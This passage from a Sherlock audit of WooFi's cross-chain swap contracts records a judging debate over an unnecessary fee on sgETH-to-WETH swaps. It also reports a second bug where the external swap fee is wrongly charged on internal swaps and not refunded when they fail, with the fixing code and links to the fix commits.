(from discrod chat) I understand as "core functionalities" of this audit: their WooPP pool usage with the sPMM algorithm and cross-chain swaps. This is a valid cross-chain swap. Otherwise why would they bother to add the cross-chain contracts to the audit.
These are all the arguments and counterarguments given on discord for this issue.
WangSecurity
Thank you for such an insightful comment!
The reasons why I still think it should remain low since it's essentially works as it should be.
The inputs that the Watson uses in his examples are:
fromToken => any birdgeToken => sgEth toToken => WETH dst1inch.swapRouter = WooPP pool
Therefore, I assume that we charge the fee here as expected since sgETH and WETH are technically different tokens even tho we can say they're quite the same. Therefore, I believe it would be nice to not charge the fee in that case, but I cannot say anything it broken here.
Moreover, I think the rule of financial loss to exceed small and finite amounts can be applied here since it's a small percentage of the swap (but I may be applying it here incorrectly). Therefore, I think it in facts work as expected, but the report is improving the protocol a bit. Don't get me wrong, it's a nice finding, but I don't see it as medium, unfortunately.
I admit that I may be wrong in my assumptions and will take any decision from the head of Judging, but I believe it's not sufficient to be medium (thank you for such and insightful explanation G, it looks very good).
Czar102
I believe the current system may work suboptimally with sgETH and WETH, and the recommendation would remove that suboptimal behavior. But design improvements aren't security issues, and I consider this report to be informational.
As @WangSecurity mentioned:
Therefore, I assume that we charge the fee here as expected since sgETH and WETH are technically different tokens even tho we can say they're quite the same. Therefore, I believe it would be nice to not charge the fee in that case, but I cannot say anything it broken here.
Planning to reject the escalation and leave the issue as is.
CarlosAlegreUr
I believe the current system may work suboptimally with sgETH and WETH, and the recommendation would remove that suboptimal behavior. But design improvements aren't security issues, and I consider this report to be informational.
As @WangSecurity mentioned:
Therefore, I assume that we charge the fee here as expected since sgETH and WETH are technically different tokens even tho we can say they're quite the same. Therefore, I believe it would be nice to not charge the fee in that case, but I cannot say anything it broken here.
Planning to reject the escalation and leave the issue as is.
@Czar102 and @WangSecurity , thanks for your point of view, but I still don't agree, these are my reasons:
When msg.value
is used, the native coin, lets say ether in Arbitrum example. In that case there is no fee charged, even if the native coin ether. We can also say about ether to be: "technically different tokens even tho we can say they're quite the same".
Thus we can see that when receiving the same or similar a asset to sgEth in dstChain no swap is expected to be performed by the code. Thus same would apply to WETH.
Lets say that, doesnt matter if they are similar, they are in fact different tokens and a swap fee should be taken. In that case the swap fee taken should be because of a swap sgETH => WETH
, and not WETH => WETH
. This is problematic as differnet swaps gather differents amount of fees thus even in this path, the user would be charged something he didn't pay for.
WooPP pool does not allow for sgETH
to be swapped. As we cann see sgEth on Arbitrum is not expected in the supported tokens function mentioned during the dicussions. But even if they indeed supported it, in WooPP different tokens have different feeRates so, for example swaping ValidToken1 => ValidToken2
is no the same as swapping ValidToken2 => ValidToken3
. So it would actually matter if the swap is sgETH => WETH
or WETH => WETH
, thus the code would still be charging incorrect amounts to clients.
In the other hand, in case of using 1inch same applies, nothing guarantees that the fee charged for a swap sgETH => WETH
is the same as the fee charged for a swap WETH => WETH
(if the latter is posible in 1inch) so users would be charged incorrect amount of fees in this case. Although this case sgETH => WETH
can't be executed because the WETH address is hardoced in both swaps, whether trhough 1inch or WooPP swap.
No matter what, the conclusion I take is that fee should not be charged. First because I think the code clearly treats "quite the same" tokens as no need to swap. And second, even if lets say we must swap, the fees would be incorrect.
I don't see it as suboptimal behaviour but as an issue in the code charging fees that it should not charge and that didn't expect.
Czar102
@CarlosAlegreUr I don't quite understand your second point. Could you explain it in a different way? Preferably as a short summary?
CarlosAlegreUr
@CarlosAlegreUr I don't quite understand your second point. Could you explain it in a different way? Preferably as a short summary?
@Czar102
So, I don't think a fee should be charged if from bridged sgEth
we eventually want WETH
because I think the code is not meant to do that for the reasons mentioned in point 1 in the comment above.
But, assusming your position of a fee should be charged, there would still be a problem. As the swap made in the code would be WETH => WETH
and not sgEth => WETH
. The protocol's pool WooPP charges different fees for different assets swaped, so the fee for WETH => WETH
would be different than the fee for sgEth => WETH
. So, even if we assume a fee should be charged, the code would still be charging incorrect fees. (a similar thing appliess to 1inch swap)
Thus, sgEth
as bridgeToken
and WETH
as toToken
would still have incorrect fee behaviour.
WangSecurity
Do I understand correctly that when it comes to handleNativeReceive
, we skip the first check if (toToken == ETH_PLACEHOLDER_ADDR)
at L279, cause our toToken is not ETH.
After it at line 299 we wrap msg.value into WETH and then at lines 306 or 349 we swap WETH to WETH, even tho the bridge token was sgETH, the function still wraps it into WETH before swapping into WETH. Correct?
And another question, can you forward to lines of code where it handles swap from sgETH to WETH and WETH to WETH to see how the fees differ (sorry if you already sent it, cannot find).
CarlosAlegreUr
Do I understand correctly that when it comes to
handleNativeReceive
, we skip the first checkif (toToken == ETH_PLACEHOLDER_ADDR)
at L279, cause our toToken is not ETH.After it at line 299 we wrap msg.value into WETH and then at lines 306 or 349 we swap WETH to WETH, even tho the bridge token was sgETH, the function still wraps it into WETH before swapping into WETH. Correct?
And another question, can you forward to lines of code where it handles swap from sgETH to WETH and WETH to WETH to see how the fees differ (sorry if you already sent it, cannot find).
Your understanding and description are right indeed.:
After it at line 299 we wrap msg.value into WETH and then at lines 306 or 349 we swap WETH to WETH, even tho the bridge token > was sgETH, the function still wraps it into WETH before swapping into WETH. Correct?
Second, the code does not do that. I was describing a hypothetical scenario trying to show that even if actually a fee had to be charged, the fee would be incorrect as WooPP charges different fees according to the token type. I added a link to the storage variables that handle this: tokenInfos storage, which points to a TokenInfo struct with a feeRate. By the way in feeRate
don't get confused with the comment nex to it: // 1 in 100000; 10 = 1bp = 0.01%; max = 65535
, this doesnt mean that the feeRate
value is 1 in 100000, it is just how devs marked the decimals of precision.
So even in the hypothetical scenario that the code actually expects a swap (which I dont think it does by the resons provided earlier), the fee charged would be incorrect as it would be a WETH => WETH
swap fee and not a sgETH => WETH
swap fee.
WangSecurity
Then, as I've said earlier the only problem for me here is I don't really see it exceed small and finite amounts. It's not clear how to interpret this rule, cause hypothetically the fee will be around 0.05 - 0.1% as the Watson said earlier. Therefore, it seems to be small amout. But if it's 1M swap then the fee will be quite high, even tho it's only 0.05-0.1%.
Thus, if the head of judging decides that it should be valid, I will agree and accept the decision. I see where incorrect fees are taken the only problem is that I'm unsure we can say it exceeds small and finite amounts as the rules for medium say. Also, I guess it may be considered core functionality break, since we account not the fees we have to account. And for that, I also rely on the head of judging, cause I'm unsure how we should interpret the rules in that specific case.
And for the Watson, thank you for being so polite and calm, giving such thorough responses! It's a pleasure.
fb-alexcq
Okay. toToken
could not be WETH in our server logic, and it won't happen. Also it's pretty hard to manually construct the param and interact with smart contract directly.
However, in technically aspect, when toToken
is WETH, our current contract will fail the TX, and we need manually refund the user. So the issue posted here makes sense, but I'll let judges decide the priority level.
WangSecurity
Based on the comment by the sponsor above, as I understand the issue should indeed remain low/info since it'll be user mistake. Looping in the watson @CarlosAlegreUr if they can provide their opinion. But based on above, I believe it should remain low.
CarlosAlegreUr
Based on the comment by the sponsor above, as I understand the issue should indeed remain low/info since it'll be user mistake. Looping in the watson @CarlosAlegreUr if they can provide their opinion. But based on above, I believe it should remain low.
Based on @fb-alexcq comments. I understand that their server and/or UI won't have by default the option of WETH as toToken
. So it won't be an worry if the user uses the official site I guess.
So only apps building on top of the protocol would be affected by this as there are no warnings or restrictions in the system's interface, docs or code to the WETH case. And, in my opinion, protocols that build on top of yours are also valid users doing valid actions and in this time, with invalid results.
I don't see it as a user mistake, I see it as a failed promise from the protocol's side that can cost, specially to apps building on top of the protocol, some money. So if user mistake is the reason for it to be a Low, as I don't think it is a user mistake, I don't think it is a Low.
Evert0x
Result: Medium Unique
Medium as it's clear that ANY token (including WETH) is supported, the unnecessary swap fee (0.05 - 0.1%) is pretty significant loss for users.
sherlock-admin4
Escalations have been resolved successfully!
Escalation status:
- WangSecurity: accepted
WangSecurity
@CarlosAlegreUr want to again thank you for being very responsive and allocating so much time to correctly resolve this escalation. Great finding honestly, just wasn't sure how to correctly interpret it. Thank you very much again!
sherlock-admin3
The protocol team fixed this issue in the following PRs/commits: woonetwork/WooPoolV2#124
sherlock-admin2
The Lead Senior Watson signed off on the fix.
Source: sherlock-audit#114
Aamirusmani1552, Nyx, aman, charles__cheerful, hals, mstpr-brainbot, petro1912, yotov721, zraxx
In the function _handleERC20Received, the fee was incorrectly charged.
In the contract, when external swap occurs, a portion of the fee will be charged. However, in function _handleERC20Received, the fee is also charged in internal swap.
} else {
// Deduct the external swap fee
uint256 fee = (bridgedAmount * dstExternalFeeRate) / FEE_BASE;
bridgedAmount -= fee; // @@audit: fee should not be applied to internal swap
TransferHelper.safeApprove(bridgedToken, address(wooRouter), bridgedAmount);
if (dst1inch.swapRouter != address(0)) {
try
wooRouter.externalSwap(
At the same time, when the internal swap fails, this part of the fee will not be returned to the user.
Internal swaps are incorrectly charged, and fees are not refunded when internal swap fail.
Manual Review
Apply fee calculation only to external swaps.
function _handleERC20Received(
uint256 refId,
address to,
address toToken,
address bridgedToken,
uint256 bridgedAmount,
uint256 minToAmount,
Dst1inch memory dst1inch
) internal {
address msgSender = _msgSender();
// ...
} else {
if (dst1inch.swapRouter != address(0)) {
// Deduct the external swap fee
uint256 fee = (bridgedAmount * dstExternalFeeRate) / FEE_BASE;
bridgedAmount -= fee;
TransferHelper.safeApprove(bridgedToken, address(wooRouter), bridgedAmount);
try
wooRouter.externalSwap(
// ...
)
returns (uint256 realToAmount) {
emit WooCrossSwapOnDstChain(
// ...
);
} catch {
bridgedAmount += fee;
TransferHelper.safeTransfer(bridgedToken, to, bridgedAmount);
emit WooCrossSwapOnDstChain(
// ...
);
}
} else {
TransferHelper.safeApprove(bridgedToken, address(wooRouter), bridgedAmount);
try wooRouter.swap(bridgedToken, toToken, bridgedAmount, minToAmount, payable(to), to) returns (
uint256 realToAmount
) {
// ...
} catch {
// ...
}
}
}
}
sherlock-admin4
The protocol team fixed this issue in the following PRs/commits: https://github.com/woonetwork/WooPoolV2/pull/112/commits/be8655bf5d9660684eff1e2c12ff5d140fddc474
sherlock-admin2
The Lead Senior Watson signed off on the fix.